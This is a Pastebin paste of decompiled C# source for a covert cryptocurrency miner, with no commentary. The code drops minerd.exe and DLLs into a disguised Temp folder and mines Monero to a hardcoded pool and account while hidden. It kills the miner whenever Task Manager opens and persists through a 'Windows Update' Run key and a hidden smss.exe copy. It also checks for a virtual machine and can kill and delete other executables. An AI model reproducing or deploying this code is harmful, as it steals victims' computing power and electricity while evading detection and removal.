Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class Form1 : Form
- {
- // Fields
- private static List<WeakReference> __ENCList = new List<WeakReference>();
- [AccessedThroughProperty("Label1")]
- private Label _Label1;
- [AccessedThroughProperty("Timer1")]
- private Timer _Timer1;
- [AccessedThroughProperty("Timer2")]
- private Timer _Timer2;
- [AccessedThroughProperty("Timer3")]
- private Timer _Timer3;
- [AccessedThroughProperty("Timer4")]
- private Timer _Timer4;
- [AccessedThroughProperty("Timer5")]
- private Timer _Timer5;
- [AccessedThroughProperty("Timer6")]
- private Timer _Timer6;
- public string anti;
- public string BotKiller;
- private IContainer components;
- public string Config;
- public string Config1;
- public IdleTime it;
- public object LO;
- public Mutex MT;
- public string MTX;
- private Process[] p;
- public string pass;
- public string port;
- public string presis;
- private const int SPI_SETSCREENSAVETIMEOUT = 15;
- public int st;
- public string startup;
- public string Temp;
- public Thread trd;
- public string url;
- public string user;
- public string vm;
- // Methods
- public Form1()
- {
- base.Load += new EventHandler(this.Form1_Load);
- __ENCAddToList(this);
- this.url = "stratum+tcp://xmr.pool.minergate.com";
- this.port = "45560";
- this.user = "kyukowt@gmail.com";
- this.pass = "x";
- this.startup = "True";
- this.presis = "True";
- this.anti = "True";
- this.BotKiller = "False";
- this.vm = "True";
- this.MTX = "aZPZwNM(59&vQGk%*q$2ky!a@";
- this.Config = "-a cryptonight -o " + this.url + ":" + this.port + " -u " + this.user + " -p " + this.pass + " -t 1";
- this.Config1 = "-a cryptonight -o " + this.url + ":" + this.port + " -u " + this.user + " -p " + this.pass;
- this.Temp = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
- this.st = 0;
- this.it = new IdleTime();
- this.MT = null;
- this.LO = new FileInfo(Application.ExecutablePath);
- this.InitializeComponent();
- }
- [DebuggerNonUserCode]
- private static void __ENCAddToList(object value)
- {
- List<WeakReference> list = __ENCList;
- lock (list)
- {
- if (__ENCList.Count == __ENCList.Capacity)
- {
- int index = 0;
- int num3 = __ENCList.Count - 1;
- for (int i = 0; i <= num3; i++)
- {
- WeakReference reference = __ENCList[i];
- if (reference.IsAlive)
- {
- if (i != index)
- {
- __ENCList[index] = __ENCList[i];
- }
- index++;
- }
- }
- __ENCList.RemoveRange(index, __ENCList.Count - index);
- __ENCList.Capacity = __ENCList.Count;
- }
- __ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
- }
- }
- public void AStartup(string Name, string Path)
- {
- int num2;
- try
- {
- int num3;
- Label_0001:
- ProjectData.ClearProjectError();
- int num = -2;
- Label_0009:
- num3 = 2;
- RegistryKey currentUser = Registry.CurrentUser;
- Label_0012:
- num3 = 3;
- RegistryKey key2 = currentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
- Label_0022:
- num3 = 4;
- key2.SetValue(Name, Path, RegistryValueKind.String);
- goto Label_009E;
- Label_0034:;
- num2 = 0;
- switch ((num2 + 1))
- {
- case 1:
- goto Label_0001;
- case 2:
- goto Label_0009;
- case 3:
- goto Label_0012;
- case 4:
- goto Label_0022;
- case 5:
- goto Label_009E;
- default:
- goto Label_0093;
- }
- Label_0058:
- num2 = num3;
- switch (((num > -2) ? num : 1))
- {
- case 0:
- goto Label_0093;
- case 1:
- goto Label_0034;
- }
- }
- catch (object obj1) when (?)
- {
- ProjectData.SetProjectError((Exception) obj1);
- goto Label_0058;
- }
- Label_0093:
- throw ProjectData.CreateProjectError(-2146828237);
- Label_009E:
- if (num2 != 0)
- {
- ProjectData.ClearProjectError();
- }
- }
- public void BOTKILL(string[] EXE)
- {
- try
- {
- Process[] processes = Process.GetProcesses();
- foreach (string str in EXE)
- {
- FileInfo info = new FileInfo(str);
- if (info.Extension == ".exe")
- {
- foreach (Process process in processes)
- {
- if (process.get_ProcessName() == info.Name.Replace(".exe", null))
- {
- process.Kill();
- }
- }
- try
- {
- File.Delete(str);
- }
- catch (Exception exception1)
- {
- ProjectData.SetProjectError(exception1);
- Thread.Sleep(100);
- File.Delete(str);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception exception2)
- {
- ProjectData.SetProjectError(exception2);
- ProjectData.ClearProjectError();
- }
- }
- public bool CheckIfRunning()
- {
- bool flag;
- foreach (Process process in Process.GetProcesses())
- {
- if (process.get_ProcessName().StartsWith("taskmgr"))
- {
- foreach (Process process2 in Process.GetProcessesByName("minerd"))
- {
- process2.Kill();
- }
- this.Timer6.Start();
- }
- }
- return flag;
- }
- public bool CheckIfRunning1()
- {
- bool flag;
- foreach (Process process in Process.GetProcesses())
- {
- if (process.get_ProcessName().StartsWith("taskmgr"))
- {
- }
- }
- this.Timer2.Start();
- this.Timer6.Stop();
- return flag;
- }
- private bool CompDir(FileInfo F1, FileInfo F2)
- {
- if (F1.Name.ToLower() == F2.Name.ToLower())
- {
- DirectoryInfo directory = F1.Directory;
- DirectoryInfo parent = F2.Directory;
- do
- {
- if (directory.Name.ToLower() != parent.Name.ToLower())
- {
- return false;
- }
- directory = directory.Parent;
- parent = parent.Parent;
- if ((directory == null) & (parent == null))
- {
- return true;
- }
- if (directory == null)
- {
- return false;
- }
- }
- while (parent != null);
- }
- return false;
- }
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (disposing && (this.components != null))
- {
- this.components.Dispose();
- }
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
- [DllImport("user32", EntryPoint="FindWindowA", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
- private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
- [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
- private void Form1_Load(object sender, EventArgs e)
- {
- if ((this.vm == "True") && !this.IsVmWare())
- {
- Application.Exit();
- }
- if (this.BotKiller == "True")
- {
- this.StartBotKiller();
- }
- try
- {
- foreach (Process process in Process.GetProcesses())
- {
- try
- {
- if (this.CompDir(new FileInfo(process.get_MainModule().get_FileName()), (FileInfo) this.LO) && (process.get_Id() > Process.GetCurrentProcess().get_Id()))
- {
- ProjectData.EndApp();
- }
- }
- catch (Exception exception1)
- {
- ProjectData.SetProjectError(exception1);
- Exception exception = exception1;
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception exception5)
- {
- ProjectData.SetProjectError(exception5);
- Exception exception2 = exception5;
- ProjectData.ClearProjectError();
- }
- try
- {
- Mutex.OpenExisting(this.MTX);
- ProjectData.EndApp();
- }
- catch (Exception exception6)
- {
- ProjectData.SetProjectError(exception6);
- Exception exception3 = exception6;
- ProjectData.ClearProjectError();
- }
- try
- {
- this.MT = new Mutex(true, this.MTX);
- }
- catch (Exception exception7)
- {
- ProjectData.SetProjectError(exception7);
- Exception exception4 = exception7;
- ProjectData.EndApp();
- ProjectData.ClearProjectError();
- }
- this.Label1.Text = Conversions.ToString(this.it.IdleTime);
- this.Timer1.Interval = 0x3e8;
- this.Timer1.Start();
- this.Visible = false;
- this.ShowInTaskbar = false;
- this.ShowIcon = false;
- if (!Directory.Exists(this.Temp + @"\Microsoft"))
- {
- Directory.CreateDirectory(this.Temp + @"\Microsoft");
- }
- if (File.Exists(this.Temp + @"\Microsoft\libcurl-4.dll"))
- {
- File.Delete(this.Temp + @"\Microsoft\libcurl-4.dll");
- File.WriteAllBytes(this.Temp + @"\Microsoft\libcurl-4.dll", System.My.Resources.Resources.libcurl_4);
- }
- else
- {
- File.WriteAllBytes(this.Temp + @"\Microsoft\libcurl-4.dll", System.My.Resources.Resources.libcurl_4);
- }
- if (File.Exists(this.Temp + @"\Microsoft\minerd.exe"))
- {
- File.Delete(this.Temp + @"\Microsoft\minerd.exe");
- File.WriteAllBytes(this.Temp + @"\Microsoft\minerd.exe", System.My.Resources.Resources.minerd);
- }
- else
- {
- File.WriteAllBytes(this.Temp + @"\Microsoft\minerd.exe", System.My.Resources.Resources.minerd);
- }
- if (File.Exists(this.Temp + @"\Microsoft\libiconv-2.dll"))
- {
- File.Delete(this.Temp + @"\Microsoft\libiconv-2.dll");
- File.WriteAllBytes(this.Temp + @"\Microsoft\libiconv-2.dll", System.My.Resources.Resources.libiconv_2);
- }
- else
- {
- File.WriteAllBytes(this.Temp + @"\Microsoft\libiconv-2.dll", System.My.Resources.Resources.libiconv_2);
- }
- if (File.Exists(this.Temp + @"\Microsoft\libintl-8.dll"))
- {
- File.Delete(this.Temp + @"\Microsoft\libintl-8.dll");
- File.WriteAllBytes(this.Temp + @"\Microsoft\libintl-8.dll", System.My.Resources.Resources.libintl_8);
- }
- else
- {
- File.WriteAllBytes(this.Temp + @"\Microsoft\libintl-8.dll", System.My.Resources.Resources.libintl_8);
- }
- if (File.Exists(this.Temp + @"\Microsoft\zlib1.dll"))
- {
- File.Delete(this.Temp + @"\Microsoft\zlib1.dll");
- File.WriteAllBytes(this.Temp + @"\Microsoft\zlib1.dll", System.My.Resources.Resources.zlib1);
- }
- else
- {
- File.WriteAllBytes(this.Temp + @"\Microsoft\zlib1.dll", System.My.Resources.Resources.zlib1);
- }
- if (File.Exists(this.Temp + @"\Microsoft\libidn-11.dll"))
- {
- File.Delete(this.Temp + @"\Microsoft\ibidn-11.dll");
- File.WriteAllBytes(this.Temp + @"\Microsoft\libidn-11.dll", System.My.Resources.Resources.libidn_11);
- }
- else
- {
- File.WriteAllBytes(this.Temp + @"\Microsoft\libidn-11.dll", System.My.Resources.Resources.libidn_11);
- }
- if (File.Exists(this.Temp + @"\Microsoft\libwinpthread-1.dll"))
- {
- File.Delete(this.Temp + @"\Microsoft\libwinpthread.dll");
- File.WriteAllBytes(this.Temp + @"\Microsoft\libwinpthread-1.dll", System.My.Resources.Resources.libwinpthread_1);
- }
- else
- {
- File.WriteAllBytes(this.Temp + @"\Microsoft\libwinpthread-1.dll", System.My.Resources.Resources.libwinpthread_1);
- }
- if (this.anti == "True")
- {
- this.KeepMonitorActive();
- }
- if (this.startup == "True")
- {
- if (File.Exists(this.Temp + @"\smss.exe"))
- {
- this.AStartup("Windows Update", this.Temp + @"\smss.exe");
- }
- else
- {
- File.Copy(Application.ExecutablePath, this.Temp + @"\smss.exe");
- this.AStartup("Windows Update", this.Temp + @"\smss.exe");
- }
- }
- if (this.presis == "True")
- {
- this.trd = new Thread(new ThreadStart(this.StartWork));
- this.trd.IsBackground = true;
- this.trd.Start();
- }
- this.Timer2.Start();
- this.Timer3.Start();
- }
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.components = new Container();
- this.Timer1 = new Timer(this.components);
- this.Timer2 = new Timer(this.components);
- this.Timer3 = new Timer(this.components);
- this.Timer4 = new Timer(this.components);
- this.Timer5 = new Timer(this.components);
- this.Timer6 = new Timer(this.components);
- this.Label1 = new Label();
- this.SuspendLayout();
- this.Timer2.Interval = 0x3e8;
- this.Timer3.Interval = 0x3e8;
- this.Label1.AutoSize = true;
- Point point2 = new Point(0, 0);
- this.Label1.Location = point2;
- this.Label1.Name = "Label1";
- Size size2 = new Size(0x33, 0x11);
- this.Label1.Size = size2;
- this.Label1.TabIndex = 0;
- this.Label1.Text = "Label1";
- SizeF ef2 = new SizeF(8f, 16f);
- this.AutoScaleDimensions = ef2;
- this.AutoScaleMode = AutoScaleMode.Font;
- size2 = new Size(0x11a, 0xfd);
- this.ClientSize = size2;
- this.Controls.Add(this.Label1);
- this.Name = "Form1";
- this.Text = "Form1";
- this.ResumeLayout(false);
- this.PerformLayout();
- }
- private bool IsVmWare()
- {
- string lpClassName = "VMDragDetectWndClass";
- string lpWindowName = null;
- return (FindWindow(ref lpClassName, ref lpWindowName) == 0L);
- }
- public void KeepMonitorActive()
- {
- SetThreadExecutionState(-2147483646);
- }
- [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
- private static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
- public void StartBotKiller()
- {
- this.BOTKILL(Directory.GetFiles(Path.GetTempPath()));
- this.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)));
- this.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).Replace("Roaming", null)));
- }
- public void StartWork()
- {
- while (this.st == 0)
- {
- Thread.Sleep(0x7d0);
- this.AStartup("Windows Update", this.Temp + @"\smss.exe");
- if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\smss.exe"))
- {
- File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\smss.exe");
- File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\smss.exe", FileAttributes.System | FileAttributes.Hidden);
- }
- }
- }
- [DllImport("user32", CharSet=CharSet.Auto, SetLastError=true)]
- private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
- private void Timer1_Tick(object sender, EventArgs e)
- {
- this.Label1.Text = Conversions.ToString(this.it.IdleTime);
- }
- private void Timer2_Tick(object sender, EventArgs e)
- {
- if (Conversions.ToDouble(this.Label1.Text) > 60.0)
- {
- foreach (Process process in Process.GetProcessesByName("minerd"))
- {
- process.Kill();
- }
- Interaction.Shell(this.Temp + @"\Microsoft\minerd.exe " + this.Config1, AppWinStyle.Hide, false, -1);
- this.Timer2.Stop();
- this.Timer3.Start();
- }
- }
- private void Timer3_Tick(object sender, EventArgs e)
- {
- if (Conversions.ToDouble(this.Label1.Text) < 60.0)
- {
- foreach (Process process in Process.GetProcessesByName("minerd"))
- {
- process.Kill();
- }
- Interaction.Shell(this.Temp + @"\Microsoft\minerd.exe " + this.Config, AppWinStyle.Hide, false, -1);
- this.Timer2.Start();
- this.Timer3.Stop();
- }
- }
- private void Timer5_Tick(object sender, EventArgs e)
- {
- this.CheckIfRunning();
- }
- private void Timer6_Tick(object sender, EventArgs e)
- {
- this.CheckIfRunning1();
- }
- // Properties
- internal virtual Label Label1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Label1;
- }
- [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
- set
- {
- this._Label1 = value;
- }
- }
- internal virtual Timer Timer1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Timer1;
- }
- [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
- set
- {
- EventHandler handler = new EventHandler(this.Timer1_Tick);
- if (this._Timer1 != null)
- {
- this._Timer1.Tick -= handler;
- }
- this._Timer1 = value;
- if (this._Timer1 != null)
- {
- this._Timer1.Tick += handler;
- }
- }
- }
- internal virtual Timer Timer2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Timer2;
- }
- [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
- set
- {
- EventHandler handler = new EventHandler(this.Timer2_Tick);
- if (this._Timer2 != null)
- {
- this._Timer2.Tick -= handler;
- }
- this._Timer2 = value;
- if (this._Timer2 != null)
- {
- this._Timer2.Tick += handler;
- }
- }
- }
- internal virtual Timer Timer3
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Timer3;
- }
- [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
- set
- {
- EventHandler handler = new EventHandler(this.Timer3_Tick);
- if (this._Timer3 != null)
- {
- this._Timer3.Tick -= handler;
- }
- this._Timer3 = value;
- if (this._Timer3 != null)
- {
- this._Timer3.Tick += handler;
- }
- }
- }
- internal virtual Timer Timer4
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Timer4;
- }
- [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
- set
- {
- this._Timer4 = value;
- }
- }
- internal virtual Timer Timer5
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Timer5;
- }
- [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
- set
- {
- EventHandler handler = new EventHandler(this.Timer5_Tick);
- if (this._Timer5 != null)
- {
- this._Timer5.Tick -= handler;
- }
- this._Timer5 = value;
- if (this._Timer5 != null)
- {
- this._Timer5.Tick += handler;
- }
- }
- }
- internal virtual Timer Timer6
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Timer6;
- }
- [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
- set
- {
- EventHandler handler = new EventHandler(this.Timer6_Tick);
- if (this._Timer6 != null)
- {
- this._Timer6.Tick -= handler;
- }
- this._Timer6 = value;
- if (this._Timer6 != null)
- {
- this._Timer6.Tick += handler;
- }
- }
- }
- // Nested Types
- [Flags]
- public enum EXECUTION_STATE : uint
- {
- ES_AWAYMODE_REQUIRED = 0x40,
- ES_CONTINUOUS = 0x80000000,
- ES_DISPLAY_REQUIRED = 2,
- ES_SYSTEM_REQUIRED = 1
- }
- }
Add Comment
Please, Sign In to add comment